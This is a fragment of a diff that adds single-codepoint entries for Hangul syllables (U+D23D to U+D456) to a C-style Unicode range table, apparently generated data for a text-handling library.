+ [0xd23d, 0xd23d], /* Hangul Syllable */
+ [0xd23e, 0xd23e], /* Hangul Syllable */
+ [0xd23f, 0xd23f], /* Hangul Syllable */
+ [0xd240, 0xd240], /* Hangul Syllable */
+ [0xd241, 0xd241], /* Hangul Syllable */
+ [0xd242, 0xd242], /* Hangul Syllable */
+ [0xd243, 0xd243], /* Hangul Syllable */
+ [0xd244, 0xd244], /* Hangul Syllable */
+ [0xd245, 0xd245], /* Hangul Syllable */
+ [0xd246, 0xd246], /* Hangul Syllable */
+ [0xd247, 0xd247], /* Hangul Syllable */
+ [0xd248, 0xd248], /* Hangul Syllable */
+ [0xd249, 0xd249], /* Hangul Syllable */
+ [0xd24a, 0xd24a], /* Hangul Syllable */
+ [0xd24b, 0xd24b], /* Hangul Syllable */
+ [0xd24c, 0xd24c], /* Hangul Syllable */
+ [0xd24d, 0xd24d], /* Hangul Syllable */
+ [0xd24e, 0xd24e], /* Hangul Syllable */
+ [0xd24f, 0xd24f], /* Hangul Syllable */
+ [0xd250, 0xd250], /* Hangul Syllable */
+ [0xd251, 0xd251], /* Hangul Syllable */
+ [0xd252, 0xd252], /* Hangul Syllable */
+ [0xd253, 0xd253], /* Hangul Syllable */
+ [0xd254, 0xd254], /* Hangul Syllable */
+ [0xd255, 0xd255], /* Hangul Syllable */
+ [0xd256, 0xd256], /* Hangul Syllable */
+ [0xd257, 0xd257], /* Hangul Syllable */
+ [0xd258, 0xd258], /* Hangul Syllable */
+ [0xd259, 0xd259], /* Hangul Syllable */
+ [0xd25a, 0xd25a], /* Hangul Syllable */
+ [0xd25b, 0xd25b], /* Hangul Syllable */
+ [0xd25c, 0xd25c], /* Hangul Syllable */
+ [0xd25d, 0xd25d], /* Hangul Syllable */
+ [0xd25e, 0xd25e], /* Hangul Syllable */
+ [0xd25f, 0xd25f], /* Hangul Syllable */
+ [0xd260, 0xd260], /* Hangul Syllable */
+ [0xd261, 0xd261], /* Hangul Syllable */
+ [0xd262, 0xd262], /* Hangul Syllable */
+ [0xd263, 0xd263], /* Hangul Syllable */
+ [0xd264, 0xd264], /* Hangul Syllable */
+ [0xd265, 0xd265], /* Hangul Syllable */
+ [0xd266, 0xd266], /* Hangul Syllable */
+ [0xd267, 0xd267], /* Hangul Syllable */
+ [0xd268, 0xd268], /* Hangul Syllable */
+ [0xd269, 0xd269], /* Hangul Syllable */
+ [0xd26a, 0xd26a], /* Hangul Syllable */
+ [0xd26b, 0xd26b], /* Hangul Syllable */
+ [0xd26c, 0xd26c], /* Hangul Syllable */
+ [0xd26d, 0xd26d], /* Hangul Syllable */
+ [0xd26e, 0xd26e], /* Hangul Syllable */
+ [0xd26f, 0xd26f], /* Hangul Syllable */
+ [0xd270, 0xd270], /* Hangul Syllable */
+ [0xd271, 0xd271], /* Hangul Syllable */
+ [0xd272, 0xd272], /* Hangul Syllable */
+ [0xd273, 0xd273], /* Hangul Syllable */
+ [0xd274, 0xd274], /* Hangul Syllable */
+ [0xd275, 0xd275], /* Hangul Syllable */
+ [0xd276, 0xd276], /* Hangul Syllable */
+ [0xd277, 0xd277], /* Hangul Syllable */
+ [0xd278, 0xd278], /* Hangul Syllable */
+ [0xd279, 0xd279], /* Hangul Syllable */
+ [0xd27a, 0xd27a], /* Hangul Syllable */
+ [0xd27b, 0xd27b], /* Hangul Syllable */
+ [0xd27c, 0xd27c], /* Hangul Syllable */
+ [0xd27d, 0xd27d], /* Hangul Syllable */
+ [0xd27e, 0xd27e], /* Hangul Syllable */
+ [0xd27f, 0xd27f], /* Hangul Syllable */
+ [0xd280, 0xd280], /* Hangul Syllable */
+ [0xd281, 0xd281], /* Hangul Syllable */
+ [0xd282, 0xd282], /* Hangul Syllable */
+ [0xd283, 0xd283], /* Hangul Syllable */
+ [0xd284, 0xd284], /* Hangul Syllable */
+ [0xd285, 0xd285], /* Hangul Syllable */
+ [0xd286, 0xd286], /* Hangul Syllable */
+ [0xd287, 0xd287], /* Hangul Syllable */
+ [0xd288, 0xd288], /* Hangul Syllable */
+ [0xd289, 0xd289], /* Hangul Syllable */
+ [0xd28a, 0xd28a], /* Hangul Syllable */
+ [0xd28b, 0xd28b], /* Hangul Syllable */
+ [0xd28c, 0xd28c], /* Hangul Syllable */
+ [0xd28d, 0xd28d], /* Hangul Syllable */
+ [0xd28e, 0xd28e], /* Hangul Syllable */
+ [0xd28f, 0xd28f], /* Hangul Syllable */
+ [0xd290, 0xd290], /* Hangul Syllable */
+ [0xd291, 0xd291], /* Hangul Syllable */
+ [0xd292, 0xd292], /* Hangul Syllable */
+ [0xd293, 0xd293], /* Hangul Syllable */
+ [0xd294, 0xd294], /* Hangul Syllable */
+ [0xd295, 0xd295], /* Hangul Syllable */
+ [0xd296, 0xd296], /* Hangul Syllable */
+ [0xd297, 0xd297], /* Hangul Syllable */
+ [0xd298, 0xd298], /* Hangul Syllable */
+ [0xd299, 0xd299], /* Hangul Syllable */
+ [0xd29a, 0xd29a], /* Hangul Syllable */
+ [0xd29b, 0xd29b], /* Hangul Syllable */
+ [0xd29c, 0xd29c], /* Hangul Syllable */
+ [0xd29d, 0xd29d], /* Hangul Syllable */
+ [0xd29e, 0xd29e], /* Hangul Syllable */
+ [0xd29f, 0xd29f], /* Hangul Syllable */
+ [0xd2a0, 0xd2a0], /* Hangul Syllable */
+ [0xd2a1, 0xd2a1], /* Hangul Syllable */
+ [0xd2a2, 0xd2a2], /* Hangul Syllable */
+ [0xd2a3, 0xd2a3], /* Hangul Syllable */
+ [0xd2a4, 0xd2a4], /* Hangul Syllable */
+ [0xd2a5, 0xd2a5], /* Hangul Syllable */
+ [0xd2a6, 0xd2a6], /* Hangul Syllable */
+ [0xd2a7, 0xd2a7], /* Hangul Syllable */
+ [0xd2a8, 0xd2a8], /* Hangul Syllable */
+ [0xd2a9, 0xd2a9], /* Hangul Syllable */
+ [0xd2aa, 0xd2aa], /* Hangul Syllable */
+ [0xd2ab, 0xd2ab], /* Hangul Syllable */
+ [0xd2ac, 0xd2ac], /* Hangul Syllable */
+ [0xd2ad, 0xd2ad], /* Hangul Syllable */
+ [0xd2ae, 0xd2ae], /* Hangul Syllable */
+ [0xd2af, 0xd2af], /* Hangul Syllable */
+ [0xd2b0, 0xd2b0], /* Hangul Syllable */
+ [0xd2b1, 0xd2b1], /* Hangul Syllable */
+ [0xd2b2, 0xd2b2], /* Hangul Syllable */
+ [0xd2b3, 0xd2b3], /* Hangul Syllable */
+ [0xd2b4, 0xd2b4], /* Hangul Syllable */
+ [0xd2b5, 0xd2b5], /* Hangul Syllable */
+ [0xd2b6, 0xd2b6], /* Hangul Syllable */
+ [0xd2b7, 0xd2b7], /* Hangul Syllable */
+ [0xd2b8, 0xd2b8], /* Hangul Syllable */
+ [0xd2b9, 0xd2b9], /* Hangul Syllable */
+ [0xd2ba, 0xd2ba], /* Hangul Syllable */
+ [0xd2bb, 0xd2bb], /* Hangul Syllable */
+ [0xd2bc, 0xd2bc], /* Hangul Syllable */
+ [0xd2bd, 0xd2bd], /* Hangul Syllable */
+ [0xd2be, 0xd2be], /* Hangul Syllable */
+ [0xd2bf, 0xd2bf], /* Hangul Syllable */
+ [0xd2c0, 0xd2c0], /* Hangul Syllable */
+ [0xd2c1, 0xd2c1], /* Hangul Syllable */
+ [0xd2c2, 0xd2c2], /* Hangul Syllable */
+ [0xd2c3, 0xd2c3], /* Hangul Syllable */
+ [0xd2c4, 0xd2c4], /* Hangul Syllable */
+ [0xd2c5, 0xd2c5], /* Hangul Syllable */
+ [0xd2c6, 0xd2c6], /* Hangul Syllable */
+ [0xd2c7, 0xd2c7], /* Hangul Syllable */
+ [0xd2c8, 0xd2c8], /* Hangul Syllable */
+ [0xd2c9, 0xd2c9], /* Hangul Syllable */
+ [0xd2ca, 0xd2ca], /* Hangul Syllable */
+ [0xd2cb, 0xd2cb], /* Hangul Syllable */
+ [0xd2cc, 0xd2cc], /* Hangul Syllable */
+ [0xd2cd, 0xd2cd], /* Hangul Syllable */
+ [0xd2ce, 0xd2ce], /* Hangul Syllable */
+ [0xd2cf, 0xd2cf], /* Hangul Syllable */
+ [0xd2d0, 0xd2d0], /* Hangul Syllable */
+ [0xd2d1, 0xd2d1], /* Hangul Syllable */
+ [0xd2d2, 0xd2d2], /* Hangul Syllable */
+ [0xd2d3, 0xd2d3], /* Hangul Syllable */
+ [0xd2d4, 0xd2d4], /* Hangul Syllable */
+ [0xd2d5, 0xd2d5], /* Hangul Syllable */
+ [0xd2d6, 0xd2d6], /* Hangul Syllable */
+ [0xd2d7, 0xd2d7], /* Hangul Syllable */
+ [0xd2d8, 0xd2d8], /* Hangul Syllable */
+ [0xd2d9, 0xd2d9], /* Hangul Syllable */
+ [0xd2da, 0xd2da], /* Hangul Syllable */
+ [0xd2db, 0xd2db], /* Hangul Syllable */
+ [0xd2dc, 0xd2dc], /* Hangul Syllable */
+ [0xd2dd, 0xd2dd], /* Hangul Syllable */
+ [0xd2de, 0xd2de], /* Hangul Syllable */
+ [0xd2df, 0xd2df], /* Hangul Syllable */
+ [0xd2e0, 0xd2e0], /* Hangul Syllable */
+ [0xd2e1, 0xd2e1], /* Hangul Syllable */
+ [0xd2e2, 0xd2e2], /* Hangul Syllable */
+ [0xd2e3, 0xd2e3], /* Hangul Syllable */
+ [0xd2e4, 0xd2e4], /* Hangul Syllable */
+ [0xd2e5, 0xd2e5], /* Hangul Syllable */
+ [0xd2e6, 0xd2e6], /* Hangul Syllable */
+ [0xd2e7, 0xd2e7], /* Hangul Syllable */
+ [0xd2e8, 0xd2e8], /* Hangul Syllable */
+ [0xd2e9, 0xd2e9], /* Hangul Syllable */
+ [0xd2ea, 0xd2ea], /* Hangul Syllable */
+ [0xd2eb, 0xd2eb], /* Hangul Syllable */
+ [0xd2ec, 0xd2ec], /* Hangul Syllable */
+ [0xd2ed, 0xd2ed], /* Hangul Syllable */
+ [0xd2ee, 0xd2ee], /* Hangul Syllable */
+ [0xd2ef, 0xd2ef], /* Hangul Syllable */
+ [0xd2f0, 0xd2f0], /* Hangul Syllable */
+ [0xd2f1, 0xd2f1], /* Hangul Syllable */
+ [0xd2f2, 0xd2f2], /* Hangul Syllable */
+ [0xd2f3, 0xd2f3], /* Hangul Syllable */
+ [0xd2f4, 0xd2f4], /* Hangul Syllable */
+ [0xd2f5, 0xd2f5], /* Hangul Syllable */
+ [0xd2f6, 0xd2f6], /* Hangul Syllable */
+ [0xd2f7, 0xd2f7], /* Hangul Syllable */
+ [0xd2f8, 0xd2f8], /* Hangul Syllable */
+ [0xd2f9, 0xd2f9], /* Hangul Syllable */
+ [0xd2fa, 0xd2fa], /* Hangul Syllable */
+ [0xd2fb, 0xd2fb], /* Hangul Syllable */
+ [0xd2fc, 0xd2fc], /* Hangul Syllable */
+ [0xd2fd, 0xd2fd], /* Hangul Syllable */
+ [0xd2fe, 0xd2fe], /* Hangul Syllable */
+ [0xd2ff, 0xd2ff], /* Hangul Syllable */
+ [0xd300, 0xd300], /* Hangul Syllable */
+ [0xd301, 0xd301], /* Hangul Syllable */
+ [0xd302, 0xd302], /* Hangul Syllable */
+ [0xd303, 0xd303], /* Hangul Syllable */
+ [0xd304, 0xd304], /* Hangul Syllable */
+ [0xd305, 0xd305], /* Hangul Syllable */
+ [0xd306, 0xd306], /* Hangul Syllable */
+ [0xd307, 0xd307], /* Hangul Syllable */
+ [0xd308, 0xd308], /* Hangul Syllable */
+ [0xd309, 0xd309], /* Hangul Syllable */
+ [0xd30a, 0xd30a], /* Hangul Syllable */
+ [0xd30b, 0xd30b], /* Hangul Syllable */
+ [0xd30c, 0xd30c], /* Hangul Syllable */
+ [0xd30d, 0xd30d], /* Hangul Syllable */
+ [0xd30e, 0xd30e], /* Hangul Syllable */
+ [0xd30f, 0xd30f], /* Hangul Syllable */
+ [0xd310, 0xd310], /* Hangul Syllable */
+ [0xd311, 0xd311], /* Hangul Syllable */
+ [0xd312, 0xd312], /* Hangul Syllable */
+ [0xd313, 0xd313], /* Hangul Syllable */
+ [0xd314, 0xd314], /* Hangul Syllable */
+ [0xd315, 0xd315], /* Hangul Syllable */
+ [0xd316, 0xd316], /* Hangul Syllable */
+ [0xd317, 0xd317], /* Hangul Syllable */
+ [0xd318, 0xd318], /* Hangul Syllable */
+ [0xd319, 0xd319], /* Hangul Syllable */
+ [0xd31a, 0xd31a], /* Hangul Syllable */
+ [0xd31b, 0xd31b], /* Hangul Syllable */
+ [0xd31c, 0xd31c], /* Hangul Syllable */
+ [0xd31d, 0xd31d], /* Hangul Syllable */
+ [0xd31e, 0xd31e], /* Hangul Syllable */
+ [0xd31f, 0xd31f], /* Hangul Syllable */
+ [0xd320, 0xd320], /* Hangul Syllable */
+ [0xd321, 0xd321], /* Hangul Syllable */
+ [0xd322, 0xd322], /* Hangul Syllable */
+ [0xd323, 0xd323], /* Hangul Syllable */
+ [0xd324, 0xd324], /* Hangul Syllable */
+ [0xd325, 0xd325], /* Hangul Syllable */
+ [0xd326, 0xd326], /* Hangul Syllable */
+ [0xd327, 0xd327], /* Hangul Syllable */
+ [0xd328, 0xd328], /* Hangul Syllable */
+ [0xd329, 0xd329], /* Hangul Syllable */
+ [0xd32a, 0xd32a], /* Hangul Syllable */
+ [0xd32b, 0xd32b], /* Hangul Syllable */
+ [0xd32c, 0xd32c], /* Hangul Syllable */
+ [0xd32d, 0xd32d], /* Hangul Syllable */
+ [0xd32e, 0xd32e], /* Hangul Syllable */
+ [0xd32f, 0xd32f], /* Hangul Syllable */
+ [0xd330, 0xd330], /* Hangul Syllable */
+ [0xd331, 0xd331], /* Hangul Syllable */
+ [0xd332, 0xd332], /* Hangul Syllable */
+ [0xd333, 0xd333], /* Hangul Syllable */
+ [0xd334, 0xd334], /* Hangul Syllable */
+ [0xd335, 0xd335], /* Hangul Syllable */
+ [0xd336, 0xd336], /* Hangul Syllable */
+ [0xd337, 0xd337], /* Hangul Syllable */
+ [0xd338, 0xd338], /* Hangul Syllable */
+ [0xd339, 0xd339], /* Hangul Syllable */
+ [0xd33a, 0xd33a], /* Hangul Syllable */
+ [0xd33b, 0xd33b], /* Hangul Syllable */
+ [0xd33c, 0xd33c], /* Hangul Syllable */
+ [0xd33d, 0xd33d], /* Hangul Syllable */
+ [0xd33e, 0xd33e], /* Hangul Syllable */
+ [0xd33f, 0xd33f], /* Hangul Syllable */
+ [0xd340, 0xd340], /* Hangul Syllable */
+ [0xd341, 0xd341], /* Hangul Syllable */
+ [0xd342, 0xd342], /* Hangul Syllable */
+ [0xd343, 0xd343], /* Hangul Syllable */
+ [0xd344, 0xd344], /* Hangul Syllable */
+ [0xd345, 0xd345], /* Hangul Syllable */
+ [0xd346, 0xd346], /* Hangul Syllable */
+ [0xd347, 0xd347], /* Hangul Syllable */
+ [0xd348, 0xd348], /* Hangul Syllable */
+ [0xd349, 0xd349], /* Hangul Syllable */
+ [0xd34a, 0xd34a], /* Hangul Syllable */
+ [0xd34b, 0xd34b], /* Hangul Syllable */
+ [0xd34c, 0xd34c], /* Hangul Syllable */
+ [0xd34d, 0xd34d], /* Hangul Syllable */
+ [0xd34e, 0xd34e], /* Hangul Syllable */
+ [0xd34f, 0xd34f], /* Hangul Syllable */
+ [0xd350, 0xd350], /* Hangul Syllable */
+ [0xd351, 0xd351], /* Hangul Syllable */
+ [0xd352, 0xd352], /* Hangul Syllable */
+ [0xd353, 0xd353], /* Hangul Syllable */
+ [0xd354, 0xd354], /* Hangul Syllable */
+ [0xd355, 0xd355], /* Hangul Syllable */
+ [0xd356, 0xd356], /* Hangul Syllable */
+ [0xd357, 0xd357], /* Hangul Syllable */
+ [0xd358, 0xd358], /* Hangul Syllable */
+ [0xd359, 0xd359], /* Hangul Syllable */
+ [0xd35a, 0xd35a], /* Hangul Syllable */
+ [0xd35b, 0xd35b], /* Hangul Syllable */
+ [0xd35c, 0xd35c], /* Hangul Syllable */
+ [0xd35d, 0xd35d], /* Hangul Syllable */
+ [0xd35e, 0xd35e], /* Hangul Syllable */
+ [0xd35f, 0xd35f], /* Hangul Syllable */
+ [0xd360, 0xd360], /* Hangul Syllable */
+ [0xd361, 0xd361], /* Hangul Syllable */
+ [0xd362, 0xd362], /* Hangul Syllable */
+ [0xd363, 0xd363], /* Hangul Syllable */
+ [0xd364, 0xd364], /* Hangul Syllable */
+ [0xd365, 0xd365], /* Hangul Syllable */
+ [0xd366, 0xd366], /* Hangul Syllable */
+ [0xd367, 0xd367], /* Hangul Syllable */
+ [0xd368, 0xd368], /* Hangul Syllable */
+ [0xd369, 0xd369], /* Hangul Syllable */
+ [0xd36a, 0xd36a], /* Hangul Syllable */
+ [0xd36b, 0xd36b], /* Hangul Syllable */
+ [0xd36c, 0xd36c], /* Hangul Syllable */
+ [0xd36d, 0xd36d], /* Hangul Syllable */
+ [0xd36e, 0xd36e], /* Hangul Syllable */
+ [0xd36f, 0xd36f], /* Hangul Syllable */
+ [0xd370, 0xd370], /* Hangul Syllable */
+ [0xd371, 0xd371], /* Hangul Syllable */
+ [0xd372, 0xd372], /* Hangul Syllable */
+ [0xd373, 0xd373], /* Hangul Syllable */
+ [0xd374, 0xd374], /* Hangul Syllable */
+ [0xd375, 0xd375], /* Hangul Syllable */
+ [0xd376, 0xd376], /* Hangul Syllable */
+ [0xd377, 0xd377], /* Hangul Syllable */
+ [0xd378, 0xd378], /* Hangul Syllable */
+ [0xd379, 0xd379], /* Hangul Syllable */
+ [0xd37a, 0xd37a], /* Hangul Syllable */
+ [0xd37b, 0xd37b], /* Hangul Syllable */
+ [0xd37c, 0xd37c], /* Hangul Syllable */
+ [0xd37d, 0xd37d], /* Hangul Syllable */
+ [0xd37e, 0xd37e], /* Hangul Syllable */
+ [0xd37f, 0xd37f], /* Hangul Syllable */
+ [0xd380, 0xd380], /* Hangul Syllable */
+ [0xd381, 0xd381], /* Hangul Syllable */
+ [0xd382, 0xd382], /* Hangul Syllable */
+ [0xd383, 0xd383], /* Hangul Syllable */
+ [0xd384, 0xd384], /* Hangul Syllable */
+ [0xd385, 0xd385], /* Hangul Syllable */
+ [0xd386, 0xd386], /* Hangul Syllable */
+ [0xd387, 0xd387], /* Hangul Syllable */
+ [0xd388, 0xd388], /* Hangul Syllable */
+ [0xd389, 0xd389], /* Hangul Syllable */
+ [0xd38a, 0xd38a], /* Hangul Syllable */
+ [0xd38b, 0xd38b], /* Hangul Syllable */
+ [0xd38c, 0xd38c], /* Hangul Syllable */
+ [0xd38d, 0xd38d], /* Hangul Syllable */
+ [0xd38e, 0xd38e], /* Hangul Syllable */
+ [0xd38f, 0xd38f], /* Hangul Syllable */
+ [0xd390, 0xd390], /* Hangul Syllable */
+ [0xd391, 0xd391], /* Hangul Syllable */
+ [0xd392, 0xd392], /* Hangul Syllable */
+ [0xd393, 0xd393], /* Hangul Syllable */
+ [0xd394, 0xd394], /* Hangul Syllable */
+ [0xd395, 0xd395], /* Hangul Syllable */
+ [0xd396, 0xd396], /* Hangul Syllable */
+ [0xd397, 0xd397], /* Hangul Syllable */
+ [0xd398, 0xd398], /* Hangul Syllable */
+ [0xd399, 0xd399], /* Hangul Syllable */
+ [0xd39a, 0xd39a], /* Hangul Syllable */
+ [0xd39b, 0xd39b], /* Hangul Syllable */
+ [0xd39c, 0xd39c], /* Hangul Syllable */
+ [0xd39d, 0xd39d], /* Hangul Syllable */
+ [0xd39e, 0xd39e], /* Hangul Syllable */
+ [0xd39f, 0xd39f], /* Hangul Syllable */
+ [0xd3a0, 0xd3a0], /* Hangul Syllable */
+ [0xd3a1, 0xd3a1], /* Hangul Syllable */
+ [0xd3a2, 0xd3a2], /* Hangul Syllable */
+ [0xd3a3, 0xd3a3], /* Hangul Syllable */
+ [0xd3a4, 0xd3a4], /* Hangul Syllable */
+ [0xd3a5, 0xd3a5], /* Hangul Syllable */
+ [0xd3a6, 0xd3a6], /* Hangul Syllable */
+ [0xd3a7, 0xd3a7], /* Hangul Syllable */
+ [0xd3a8, 0xd3a8], /* Hangul Syllable */
+ [0xd3a9, 0xd3a9], /* Hangul Syllable */
+ [0xd3aa, 0xd3aa], /* Hangul Syllable */
+ [0xd3ab, 0xd3ab], /* Hangul Syllable */
+ [0xd3ac, 0xd3ac], /* Hangul Syllable */
+ [0xd3ad, 0xd3ad], /* Hangul Syllable */
+ [0xd3ae, 0xd3ae], /* Hangul Syllable */
+ [0xd3af, 0xd3af], /* Hangul Syllable */
+ [0xd3b0, 0xd3b0], /* Hangul Syllable */
+ [0xd3b1, 0xd3b1], /* Hangul Syllable */
+ [0xd3b2, 0xd3b2], /* Hangul Syllable */
+ [0xd3b3, 0xd3b3], /* Hangul Syllable */
+ [0xd3b4, 0xd3b4], /* Hangul Syllable */
+ [0xd3b5, 0xd3b5], /* Hangul Syllable */
+ [0xd3b6, 0xd3b6], /* Hangul Syllable */
+ [0xd3b7, 0xd3b7], /* Hangul Syllable */
+ [0xd3b8, 0xd3b8], /* Hangul Syllable */
+ [0xd3b9, 0xd3b9], /* Hangul Syllable */
+ [0xd3ba, 0xd3ba], /* Hangul Syllable */
+ [0xd3bb, 0xd3bb], /* Hangul Syllable */
+ [0xd3bc, 0xd3bc], /* Hangul Syllable */
+ [0xd3bd, 0xd3bd], /* Hangul Syllable */
+ [0xd3be, 0xd3be], /* Hangul Syllable */
+ [0xd3bf, 0xd3bf], /* Hangul Syllable */
+ [0xd3c0, 0xd3c0], /* Hangul Syllable */
+ [0xd3c1, 0xd3c1], /* Hangul Syllable */
+ [0xd3c2, 0xd3c2], /* Hangul Syllable */
+ [0xd3c3, 0xd3c3], /* Hangul Syllable */
+ [0xd3c4, 0xd3c4], /* Hangul Syllable */
+ [0xd3c5, 0xd3c5], /* Hangul Syllable */
+ [0xd3c6, 0xd3c6], /* Hangul Syllable */
+ [0xd3c7, 0xd3c7], /* Hangul Syllable */
+ [0xd3c8, 0xd3c8], /* Hangul Syllable */
+ [0xd3c9, 0xd3c9], /* Hangul Syllable */
+ [0xd3ca, 0xd3ca], /* Hangul Syllable */
+ [0xd3cb, 0xd3cb], /* Hangul Syllable */
+ [0xd3cc, 0xd3cc], /* Hangul Syllable */
+ [0xd3cd, 0xd3cd], /* Hangul Syllable */
+ [0xd3ce, 0xd3ce], /* Hangul Syllable */
+ [0xd3cf, 0xd3cf], /* Hangul Syllable */
+ [0xd3d0, 0xd3d0], /* Hangul Syllable */
+ [0xd3d1, 0xd3d1], /* Hangul Syllable */
+ [0xd3d2, 0xd3d2], /* Hangul Syllable */
+ [0xd3d3, 0xd3d3], /* Hangul Syllable */
+ [0xd3d4, 0xd3d4], /* Hangul Syllable */
+ [0xd3d5, 0xd3d5], /* Hangul Syllable */
+ [0xd3d6, 0xd3d6], /* Hangul Syllable */
+ [0xd3d7, 0xd3d7], /* Hangul Syllable */
+ [0xd3d8, 0xd3d8], /* Hangul Syllable */
+ [0xd3d9, 0xd3d9], /* Hangul Syllable */
+ [0xd3da, 0xd3da], /* Hangul Syllable */
+ [0xd3db, 0xd3db], /* Hangul Syllable */
+ [0xd3dc, 0xd3dc], /* Hangul Syllable */
+ [0xd3dd, 0xd3dd], /* Hangul Syllable */
+ [0xd3de, 0xd3de], /* Hangul Syllable */
+ [0xd3df, 0xd3df], /* Hangul Syllable */
+ [0xd3e0, 0xd3e0], /* Hangul Syllable */
+ [0xd3e1, 0xd3e1], /* Hangul Syllable */
+ [0xd3e2, 0xd3e2], /* Hangul Syllable */
+ [0xd3e3, 0xd3e3], /* Hangul Syllable */
+ [0xd3e4, 0xd3e4], /* Hangul Syllable */
+ [0xd3e5, 0xd3e5], /* Hangul Syllable */
+ [0xd3e6, 0xd3e6], /* Hangul Syllable */
+ [0xd3e7, 0xd3e7], /* Hangul Syllable */
+ [0xd3e8, 0xd3e8], /* Hangul Syllable */
+ [0xd3e9, 0xd3e9], /* Hangul Syllable */
+ [0xd3ea, 0xd3ea], /* Hangul Syllable */
+ [0xd3eb, 0xd3eb], /* Hangul Syllable */
+ [0xd3ec, 0xd3ec], /* Hangul Syllable */
+ [0xd3ed, 0xd3ed], /* Hangul Syllable */
+ [0xd3ee, 0xd3ee], /* Hangul Syllable */
+ [0xd3ef, 0xd3ef], /* Hangul Syllable */
+ [0xd3f0, 0xd3f0], /* Hangul Syllable */
+ [0xd3f1, 0xd3f1], /* Hangul Syllable */
+ [0xd3f2, 0xd3f2], /* Hangul Syllable */
+ [0xd3f3, 0xd3f3], /* Hangul Syllable */
+ [0xd3f4, 0xd3f4], /* Hangul Syllable */
+ [0xd3f5, 0xd3f5], /* Hangul Syllable */
+ [0xd3f6, 0xd3f6], /* Hangul Syllable */
+ [0xd3f7, 0xd3f7], /* Hangul Syllable */
+ [0xd3f8, 0xd3f8], /* Hangul Syllable */
+ [0xd3f9, 0xd3f9], /* Hangul Syllable */
+ [0xd3fa, 0xd3fa], /* Hangul Syllable */
+ [0xd3fb, 0xd3fb], /* Hangul Syllable */
+ [0xd3fc, 0xd3fc], /* Hangul Syllable */
+ [0xd3fd, 0xd3fd], /* Hangul Syllable */
+ [0xd3fe, 0xd3fe], /* Hangul Syllable */
+ [0xd3ff, 0xd3ff], /* Hangul Syllable */
+ [0xd400, 0xd400], /* Hangul Syllable */
+ [0xd401, 0xd401], /* Hangul Syllable */
+ [0xd402, 0xd402], /* Hangul Syllable */
+ [0xd403, 0xd403], /* Hangul Syllable */
+ [0xd404, 0xd404], /* Hangul Syllable */
+ [0xd405, 0xd405], /* Hangul Syllable */
+ [0xd406, 0xd406], /* Hangul Syllable */
+ [0xd407, 0xd407], /* Hangul Syllable */
+ [0xd408, 0xd408], /* Hangul Syllable */
+ [0xd409, 0xd409], /* Hangul Syllable */
+ [0xd40a, 0xd40a], /* Hangul Syllable */
+ [0xd40b, 0xd40b], /* Hangul Syllable */
+ [0xd40c, 0xd40c], /* Hangul Syllable */
+ [0xd40d, 0xd40d], /* Hangul Syllable */
+ [0xd40e, 0xd40e], /* Hangul Syllable */
+ [0xd40f, 0xd40f], /* Hangul Syllable */
+ [0xd410, 0xd410], /* Hangul Syllable */
+ [0xd411, 0xd411], /* Hangul Syllable */
+ [0xd412, 0xd412], /* Hangul Syllable */
+ [0xd413, 0xd413], /* Hangul Syllable */
+ [0xd414, 0xd414], /* Hangul Syllable */
+ [0xd415, 0xd415], /* Hangul Syllable */
+ [0xd416, 0xd416], /* Hangul Syllable */
+ [0xd417, 0xd417], /* Hangul Syllable */
+ [0xd418, 0xd418], /* Hangul Syllable */
+ [0xd419, 0xd419], /* Hangul Syllable */
+ [0xd41a, 0xd41a], /* Hangul Syllable */
+ [0xd41b, 0xd41b], /* Hangul Syllable */
+ [0xd41c, 0xd41c], /* Hangul Syllable */
+ [0xd41d, 0xd41d], /* Hangul Syllable */
+ [0xd41e, 0xd41e], /* Hangul Syllable */
+ [0xd41f, 0xd41f], /* Hangul Syllable */
+ [0xd420, 0xd420], /* Hangul Syllable */
+ [0xd421, 0xd421], /* Hangul Syllable */
+ [0xd422, 0xd422], /* Hangul Syllable */
+ [0xd423, 0xd423], /* Hangul Syllable */
+ [0xd424, 0xd424], /* Hangul Syllable */
+ [0xd425, 0xd425], /* Hangul Syllable */
+ [0xd426, 0xd426], /* Hangul Syllable */
+ [0xd427, 0xd427], /* Hangul Syllable */
+ [0xd428, 0xd428], /* Hangul Syllable */
+ [0xd429, 0xd429], /* Hangul Syllable */
+ [0xd42a, 0xd42a], /* Hangul Syllable */
+ [0xd42b, 0xd42b], /* Hangul Syllable */
+ [0xd42c, 0xd42c], /* Hangul Syllable */
+ [0xd42d, 0xd42d], /* Hangul Syllable */
+ [0xd42e, 0xd42e], /* Hangul Syllable */
+ [0xd42f, 0xd42f], /* Hangul Syllable */
+ [0xd430, 0xd430], /* Hangul Syllable */
+ [0xd431, 0xd431], /* Hangul Syllable */
+ [0xd432, 0xd432], /* Hangul Syllable */
+ [0xd433, 0xd433], /* Hangul Syllable */
+ [0xd434, 0xd434], /* Hangul Syllable */
+ [0xd435, 0xd435], /* Hangul Syllable */
+ [0xd436, 0xd436], /* Hangul Syllable */
+ [0xd437, 0xd437], /* Hangul Syllable */
+ [0xd438, 0xd438], /* Hangul Syllable */
+ [0xd439, 0xd439], /* Hangul Syllable */
+ [0xd43a, 0xd43a], /* Hangul Syllable */
+ [0xd43b, 0xd43b], /* Hangul Syllable */
+ [0xd43c, 0xd43c], /* Hangul Syllable */
+ [0xd43d, 0xd43d], /* Hangul Syllable */
+ [0xd43e, 0xd43e], /* Hangul Syllable */
+ [0xd43f, 0xd43f], /* Hangul Syllable */
+ [0xd440, 0xd440], /* Hangul Syllable */
+ [0xd441, 0xd441], /* Hangul Syllable */
+ [0xd442, 0xd442], /* Hangul Syllable */
+ [0xd443, 0xd443], /* Hangul Syllable */
+ [0xd444, 0xd444], /* Hangul Syllable */
+ [0xd445, 0xd445], /* Hangul Syllable */
+ [0xd446, 0xd446], /* Hangul Syllable */
+ [0xd447, 0xd447], /* Hangul Syllable */
+ [0xd448, 0xd448], /* Hangul Syllable */
+ [0xd449, 0xd449], /* Hangul Syllable */
+ [0xd44a, 0xd44a], /* Hangul Syllable */
+ [0xd44b, 0xd44b], /* Hangul Syllable */
+ [0xd44c, 0xd44c], /* Hangul Syllable */
+ [0xd44d, 0xd44d], /* Hangul Syllable */
+ [0xd44e, 0xd44e], /* Hangul Syllable */
+ [0xd44f, 0xd44f], /* Hangul Syllable */
+ [0xd450, 0xd450], /* Hangul Syllable */
+ [0xd451, 0xd451], /* Hangul Syllable */
+ [0xd452, 0xd452], /* Hangul Syllable */
+ [0xd453, 0xd453], /* Hangul Syllable */
+ [0xd454, 0xd454], /* Hangul Syllable */
+ [0xd455, 0xd455], /* Hangul Syllable */
+ [0xd456, 0xd456], /* Hangul Syllable */
